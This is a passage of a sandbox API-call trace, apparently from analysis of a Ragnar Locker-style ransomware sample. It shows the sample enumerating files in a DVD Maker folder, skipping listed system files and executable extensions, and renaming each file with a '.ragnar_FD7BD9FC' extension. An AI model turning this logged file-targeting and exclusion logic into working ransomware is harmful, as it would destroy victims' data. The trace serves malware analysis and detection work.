Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" [0079.088] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv.ragnar_FD7BD9FC" [0079.088] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.089] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0079.089] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.089] lstrcpyW (in: lpString1=0x1eab60, lpString2="ParentMenuButtonIcon.png" | out: lpString1="ParentMenuButtonIcon.png") returned="ParentMenuButtonIcon.png" [0079.089] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png") returned=".png" [0079.089] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.089] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="autorun.inf") returned 1 [0079.089] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0079.089] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="bootfont.bin") returned 1 [0079.089] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="bootsect.bak") returned 1 [0079.089] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="bootmgr") returned 1 [0079.089] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="bootmgr.efi") returned 1 [0079.089] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="bootmgfw.efi") returned 1 [0079.089] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="desktop.ini") returned 1 [0079.089] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="iconcache.db") returned 1 [0079.089] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="ntldr") returned 1 [0079.089] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="ntuser.dat") returned 1 [0079.089] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="ntuser.dat.log") returned 1 [0079.089] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="ntuser.ini") returned 1 [0079.089] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="thumbs.db") returned -1 [0079.089] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.089] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.089] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.089] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.089] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.089] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.089] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png")) returned 0x20 [0079.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.090] CloseHandle (hObject=0xffffffff) returned 0 [0079.090] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" [0079.090] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png.ragnar_FD7BD9FC" [0079.090] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.090] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1 [0079.090] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.090] lstrcpyW (in: lpString1=0x1eab60, lpString2="ParentMenuButtonIconSubpict.png" | out: lpString1="ParentMenuButtonIconSubpict.png") returned="ParentMenuButtonIconSubpict.png" [0079.090] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png") returned=".png" [0079.090] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.090] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="autorun.inf") returned 1 [0079.090] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="boot.ini") returned 1 [0079.090] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="bootfont.bin") returned 1 [0079.090] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="bootsect.bak") returned 1 [0079.090] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="bootmgr") returned 1 [0079.090] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="bootmgr.efi") returned 1 [0079.090] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="bootmgfw.efi") returned 1 [0079.090] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="desktop.ini") returned 1 [0079.090] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="iconcache.db") returned 1 [0079.090] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="ntldr") returned 1 [0079.090] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="ntuser.dat") returned 1 [0079.090] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="ntuser.dat.log") returned 1 [0079.090] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="ntuser.ini") returned 1 [0079.090] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="thumbs.db") returned -1 [0079.090] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.090] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.090] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.091] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.091] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.091] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.091] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png")) returned 0x20 [0079.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.091] CloseHandle (hObject=0xffffffff) returned 0 [0079.091] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" [0079.091] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png.ragnar_FD7BD9FC" [0079.091] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.091] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x0, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1 [0079.091] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.091] lstrcpyW (in: lpString1=0x1eab60, lpString2="performance.png" | out: lpString1="performance.png") returned="performance.png" [0079.091] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png") returned=".png" [0079.091] lstrcmpiW (lpString1="performance.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.091] lstrcmpiW (lpString1="performance.png", lpString2="autorun.inf") returned 1 [0079.091] lstrcmpiW (lpString1="performance.png", lpString2="boot.ini") returned 1 [0079.091] lstrcmpiW (lpString1="performance.png", lpString2="bootfont.bin") returned 1 [0079.091] lstrcmpiW (lpString1="performance.png", lpString2="bootsect.bak") returned 1 [0079.091] lstrcmpiW (lpString1="performance.png", lpString2="bootmgr") returned 1 [0079.091] lstrcmpiW (lpString1="performance.png", lpString2="bootmgr.efi") returned 1 [0079.091] lstrcmpiW (lpString1="performance.png", lpString2="bootmgfw.efi") returned 1 [0079.091] lstrcmpiW (lpString1="performance.png", lpString2="desktop.ini") returned 1 [0079.091] lstrcmpiW (lpString1="performance.png", lpString2="iconcache.db") returned 1 [0079.092] lstrcmpiW (lpString1="performance.png", lpString2="ntldr") returned 1 [0079.092] lstrcmpiW (lpString1="performance.png", lpString2="ntuser.dat") returned 1 [0079.092] lstrcmpiW (lpString1="performance.png", lpString2="ntuser.dat.log") returned 1 [0079.092] lstrcmpiW (lpString1="performance.png", lpString2="ntuser.ini") returned 1 [0079.092] lstrcmpiW (lpString1="performance.png", lpString2="thumbs.db") returned -1 [0079.092] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.092] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.092] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.092] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.092] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.092] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.092] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png")) returned 0x20 [0079.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.095] CloseHandle (hObject=0xffffffff) returned 0 [0079.095] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" [0079.095] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png.ragnar_FD7BD9FC" [0079.095] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.095] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1 [0079.095] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.095] lstrcpyW (in: lpString1=0x1eab60, lpString2="Perf_Scenes_Mask1.png" | out: lpString1="Perf_Scenes_Mask1.png") returned="Perf_Scenes_Mask1.png" [0079.095] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned=".png" [0079.095] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.095] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="autorun.inf") returned 1 [0079.095] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="boot.ini") returned 1 [0079.095] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="bootfont.bin") returned 1 [0079.095] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="bootsect.bak") returned 1 [0079.095] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="bootmgr") returned 1 [0079.095] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="bootmgr.efi") returned 1 [0079.095] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="bootmgfw.efi") returned 1 [0079.095] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="desktop.ini") returned 1 [0079.095] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="iconcache.db") returned 1 [0079.095] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="ntldr") returned 1 [0079.095] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="ntuser.dat") returned 1 [0079.095] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="ntuser.dat.log") returned 1 [0079.095] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="ntuser.ini") returned 1 [0079.095] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="thumbs.db") returned -1 [0079.095] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.096] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.096] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.096] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.096] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.096] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.096] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png")) returned 0x20 [0079.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.096] CloseHandle (hObject=0xffffffff) returned 0 [0079.096] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" [0079.096] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.ragnar_FD7BD9FC" [0079.096] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.096] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1 [0079.096] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.096] lstrcpyW (in: lpString1=0x1eab60, lpString2="Perf_Scenes_Subpicture1.png" | out: lpString1="Perf_Scenes_Subpicture1.png") returned="Perf_Scenes_Subpicture1.png" [0079.096] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned=".png" [0079.096] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.096] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="autorun.inf") returned 1 [0079.096] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="boot.ini") returned 1 [0079.096] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="bootfont.bin") returned 1 [0079.097] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="bootsect.bak") returned 1 [0079.097] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="bootmgr") returned 1 [0079.097] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="bootmgr.efi") returned 1 [0079.097] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="bootmgfw.efi") returned 1 [0079.097] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="desktop.ini") returned 1 [0079.097] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="iconcache.db") returned 1 [0079.097] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="ntldr") returned 1 [0079.097] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="ntuser.dat") returned 1 [0079.097] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="ntuser.dat.log") returned 1 [0079.097] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="ntuser.ini") returned 1 [0079.097] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="thumbs.db") returned -1 [0079.097] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.097] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.097] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.097] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.097] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.097] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.097] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png")) returned 0x20 [0079.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.097] CloseHandle (hObject=0xffffffff) returned 0 [0079.097] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" [0079.097] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png.ragnar_FD7BD9FC" [0079.098] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd 